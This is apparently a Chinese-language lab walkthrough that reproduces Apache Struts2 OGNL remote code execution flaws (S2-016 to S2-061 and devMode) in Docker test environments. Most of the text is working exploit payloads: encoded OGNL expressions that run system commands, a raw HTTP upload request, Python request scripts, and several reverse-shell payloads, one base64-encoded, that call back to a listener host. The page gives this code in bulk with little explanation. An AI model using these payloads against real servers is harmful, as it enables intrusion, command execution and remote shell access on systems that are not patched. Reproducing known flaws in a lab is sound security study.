%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream())%2C%23q%7D.actionpoc2 源码 ${#context[‘xwork.MethodAccessor.denyMethodExecution’]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess’) ,#m.setAccessible(true),#m.set(#_memberAccess,true),#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(‘ ls’).getInputStream()),#q}.actionURL编码之后 %24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredFiel d%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%[email protected] ons.io.IOUtils@toString%[email protected]@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%2C%23q%7D.action S2-016远程代码执行漏洞漏洞简介 漏洞原理 在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或者是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令 系统版本 Struts 2.0.0 - 2.3.15 开启漏洞环境 ../ cd s2=016 docker-compose up -d 漏洞复现 验证漏洞是否存在-poc-1 http://127.0.0.1:8080/index.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7Dpoc2: http://127.0.0.1:8080/index.action?redirect:%24%7B%23req%3D%23context.get(%27co%27%2B%27m.open%27%2B%27symphony.xwo%27%2B%27rk2.disp%27%2B%27atcher.HttpSer%27%2B%27vletReq%27%2B%27uest%27)%2C%23resp%3D%23context.get(%27co%27%2B%27m.open%27%2B%27symphony.xwo%27%2B%27rk2.disp%27%2B%27atcher.HttpSer%27%2B%27vletRes%27%2B%27ponse%27)%2C%23resp.setCharacterEncoding(%27UTF-8%27)%2C%23ot%3D%23resp.getWriter%20()%2C%23ot.print(%27web%27)%2C%23ot.print(%27path%3A%27)%2C%23ot.print(%23req.getSession().getServletContext().getRealPath(%27%2F%27))%2C%23ot.flush()%2C%23ot.close()%7D S2-019远程执行代码漏洞漏洞简介 漏洞原理 要求开发者模式,且poc第一个参数是debug,触发点在DebuggingInterceptor上,查看intercept函数,从debug参数获取调试模式,如果模式是command,则把expression参数放到stack.findValue中,最终放到了ognl.getValue中 影响版本 Struts 2.0.0 - 2.3.15.1 开启漏洞环境 vulhub中没有s2-019,所以使用命令强制拉取 sudo docker pull medicean/vulapps:s_struts2_s2-019 docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-019 docker ps 漏洞复现 访问靶机 我使用kali搭建的环境,无法本地访问,使用ip地址加端口号访问 http://192.168.27.180:8080/example/HelloWorld.action 验证漏洞是否存在poc ?debug=command&expression=#a=(new java.lang.ProcessBuilder('id')).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b) ,#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRe sponse'),#out.getWriter().println('dbapp:'+new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close()需要使用URL编码 ?%64%65%62%75%67=%63%6f%6d%6d%61%6e%64&%65%78%70%72%65%73%73%69%6f%6e=%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%27%69%64%27%29%29%2e%73%74%61%72%74%28%29%2c%23%62=%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%63=%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%63%29%2c%23%65=%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%64%2e%72%65%61%64%28%23%65%29%2c%23%6f%75%74=%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%27%29%2c%23%6f%75%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%70%72%69%6e%74%6c%6e%28%27%64%62%61%70%70%3a%27%2b%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%23%65%29%29%2c%23%6f%75%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%66%6c%75%73%68%28%29%2c%23%6f%75%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%63%6c%6f%73%65%28%29关闭漏洞环境 docker-compose down docker ps docker stop ID号 S2-029远程执行代码漏洞漏洞简介 漏洞原理 struts2的标签库使用OGNL表达式来访问ActionContext中的对象数据。为了能够访问到ActionContext中的变量,struts2将ActionContext设置为OGNL的上下文,并将OGNL的跟对象加入ActionContext中: 在struts2中,如下的标签就调用了OGNL进行取值。 parameters: struts2会解析value中的值,并当作OGNL表达式进行执行,获取到parameters对象的msg属性。S2-029仍 然是西靠OGNL进行远程代码执行。 影响版本 Struts 2.0.0 - 2.3.24.1(不包括2.3.20.3) 开启漏洞环境 sudo docker pull medicean/vulapps:s_struts2_s2-029 sudo docker run -d -p 8888:8080 medicean/vulapps:s_struts2_s2-029 docker ps 漏洞复现 验证漏洞是否存在-poc-1 http://127.0.0.1:8080/default.action?message=(%23_memberAccess[%27allowPrivateAccess%27]=true,%23_memberAccess[%27allowProtectedAccess%27]=true,%23_memberAccess[%27excludedPackageNamePatterns%27]=%23_memberAccess[%27acceptProperties%27],%23_memberAccess[%27excludedClasses%27]=%23_memberAccess[%27acceptProperties%27],%23_memberAccess[%27allowPackageProtectedAccess%27]=true,%23_memberAccess[%27allowStaticMethodAccess%27]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream())) S2-032远程执行代码漏洞漏洞简介 漏洞原理 当启用动态方法调用时,可以传递可用在服务器端执行任意代码的恶意表达式 影响版本 Struts 2.3.20 - 2.3.28(2.3.20.3和2.3.24.3除外) 开启漏洞环境 docker-compose up -d docker ps 漏洞复现 验证漏洞是否存在-poc-1 http://192.168.27.180:8080/memoindex.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23context[%23parameters.obj[0]].getWriter().print(%23parameters.content[0]%2b602%2b53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10010返回1001060253718则代表可代码执行 poc-2-查看ID http://192.168.27.180:8080/index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=idpoc-3-创建文件夹 http://192.168.27.180:8080/index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=touch%20/tmp/yxc_yyds S2-045远程执行代码漏洞漏洞简介 漏洞原理 在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件的时候通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令 影响版本 Struts 2.3.5 - 2.3.31 Struts 2.5 - 2.5.10 开启漏洞环境 漏洞复现 访问靶机 验证漏洞是否存在-poc-1 输入1然后抓包,修改Content-Type部分 %{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(100*5000)).(#ros.flush())}poc-2 %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',11*11)}.multipart/form-data S2-046远程执行代码漏洞漏洞简介 漏洞原理 攻击者可以通过设置Content-Disposition的filename字段或者设置Content-Length超过2G这两种方式来触发异常并导致filename字段中的OGNL表达式得到执行从而达到远程攻击的目的。该漏洞与之前的S2-045漏洞成因及原理一样(CVE漏洞编号是同一个)只是漏洞利用的字段发生了改变 与S2-045相同,S2-046也是OGNL注入,但出现在上传请求的文件名字段中,并且需要NUL字节来拆分有效负荷和其余字符串 影响版本 Struts 2.3.5 - 2.3.31 Struts 2.5 - 2.5.10 开启漏洞环境 docker-compose up -d docker ps 漏洞复现 验证漏洞是否存在-poc-1 抓包后再filename=“”填入: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',1+99)}\x00b找到b之前的字符进行00截断 可以看到poc中的算式执行成功 执行“ls”代码 "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b"仍然需要00截断 在filename处插入下面EXP即可反弹shell,同样需要00截断 "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.27.131/9899 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b"反弹shell上线 S2-048远程执行代码漏洞漏洞简介 漏洞原理 Apache Struts 1插件的Apache Struts 2.3.x 版本中存在远程代码执行漏洞,该漏洞出现于Struts2的某个类中,该类是为了将Struts1中的Action包装成为Struts2中的Action,以保证Struts2中的Struts1插件启用的情况下,远程攻击者可通过使用恶意字段值,构造特定的输入,发送到ActionMessage类中,从而导致任意命令执行,进而获取目标主机系统权限。漏洞成因是当ActionMessage接收客户可控的参数数据时,由于后续数据拼接传递后处理不当导致任意代码执行。 影响版本 Apache Struts 2.3.x 系列中启用了Struts2-struts1-plugin插件的版本 开启漏洞环境 docker-compose up -d docker ps http://127.0.0.1:8080/integration/editGangster.action 漏洞复现 验证漏洞是否存在 验证漏洞是否存在-poc-1 %{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}poc-2 %{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream())).(#q)}payload-反弹shell %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.173.133/8888 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b" S2-052远程执行代码漏洞漏洞简介 漏洞原理 Struts2 REST插件的XSteam组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,可被远程攻击 影响版本 Struts 2.1.2 - 2.3.33 Struts 2.5 - 2.5.12 开启漏洞环境 cd s2-052 docker-compose up -d http://127.0.0.1:8080/orders/3/edit 漏洞复现 验证漏洞是否存在 抓包,用以下xml替换报文最下面一行 0 false 0 touch /tmp/success false java.lang.ProcessBuilder start foo foo false 0 0 false false 0 /tmp/dayu.txt ` S2-053原创执行代码漏洞漏洞简介 漏洞原理 Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。 影响版本 Struts 2.0.1 - 2.3.33 Struts 2.5 - 2.5.10 开启漏洞环境 docker-compose up -d docker ps 漏洞复现 验证漏洞是否存在 redirectUri=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmds%3D%28%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%27id%27%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0Apoc-2 %{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.253.27/8889 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))} S2-057远程代码执行漏洞漏洞简介 漏洞原理 -alwaysSelectFullNamespace是-操作元素未设置名称空间属性,或使用了通配符 用户将从URL传递名称空间,并将其解析为OGNL表达式,最终导致远程代码执行漏洞 alwaysSelectFullNamespace为true -action元素没有设置namespace属性,或者使用了通配符 命名空间将由用户从URL传递并解析为OGNL表达式,最终导致远程代码执行漏洞 影响版本 Struts 2.3 - 2.3.34 Struts 2.5 - 2.5.16 开启漏洞环境 我的docker环境搭建好s2-057,但是无法访问,所以本关才用本地搭建的方式 漏洞复现 验证漏洞是否存在 /%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.actionpoc源码 转换URL编码即可 ${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action S2-059远程执行代码漏洞漏洞简介 漏洞原理 Apache Struts框架,会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入,从而可能导致远程执行代码 影响版本 Struts 2.0.0 - 2.5.20 开启漏洞环境 docker-compose up -d docker ps 漏洞复现 验证漏洞是否存在 浏览器访问 http://127.0.0.1:8080/?id=%25{10*50}F12,查看,发现10*50被执行 poc-1 %25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('ls%20-al').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d首先传参id=1,然后抓包,修改请求方式为POST 然后修改id值为poc poc-2 python2环境下执行 import requests url = "http://127.0.0.1:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}" } res1 = requests.post(url, data=data1) # print(res1.text) res2 = requests.post(url, data=data2) # print(res2.text)poc-3-反弹shell base64编码网址: http://www.jackson-t.ca/runtime-exec-payloads.html bash -i >& /dev/tcp/192.168.173.133/8889 0>&1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvODg4OSAwPiYx}|{base64,-d}|{bash,-i} import requests url = "http://192.168.173.144:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvODg4OSAwPiYx}|{base64,-d}|{bash,-i}'))}" } res1 = requests.post(url, data=data1) # print(res1.text) res2 = requests.post(url, data=data2) # print(res2.text) S2-061远程执行代码漏洞漏洞简介 漏洞原理 Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。Struts2会对某些标签属性(比如id,其他属性有待寻找)的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过 影响版本 Struts 2.0.0 - 2.5.25 开启漏洞环境 开启报错解决 docker network ls | wc -l 查看network数量 docker network prune 关闭未使用的网络 开启漏洞 docker-compose up -d docker ps 漏洞复现 访问靶机 http://127.0.0.1:8080/index.action 验证漏洞是否存在 抓包,将请求包修改为以下: POST /index.action HTTP/1.1 Host: 192.168.173.144:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://192.168.173.144:8080/index.action Cookie: JSESSIONID=node01k3pu3katilv7msftp5e7xu3u2.node0 Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Length: 827 ------WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Disposition: form-data; name="id" %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))} ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--poc-2-反弹shell base64编码网址: http://www.jackson-t.ca/runtime-exec-payloads.html bash -i >& /dev/tcp/192.168.173.133/8889 0>&1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvODg4OSAwPiYx}|{base64,-d}|{bash,-i} 替换poc-1中的id位置即可。 S2-deMode远程执行代码漏洞漏洞简介 漏洞原理 当Struts2开启devMode模式时,将导致严重的远程代码执行漏洞。如果WebService启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。 影响版本 当Struts开启devMode时,该漏洞将会影响Struts 2.1.0 - 2.5.1,通杀Struts2所有版本 开启漏洞 拉取漏洞环境到本地 docker pull medicean/vulapps:s_struts2_s2-devmode 启动环境并验证 sudo docker run -d -p 8888:8080 medicean/vulapps:s_struts2_s2-devmode sudo docker ps 漏洞复现 验证漏洞是否存在 /orders/new/?debug=browser&object=(%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id |
CopyRight 2018-2019 实验室设备网 版权所有 |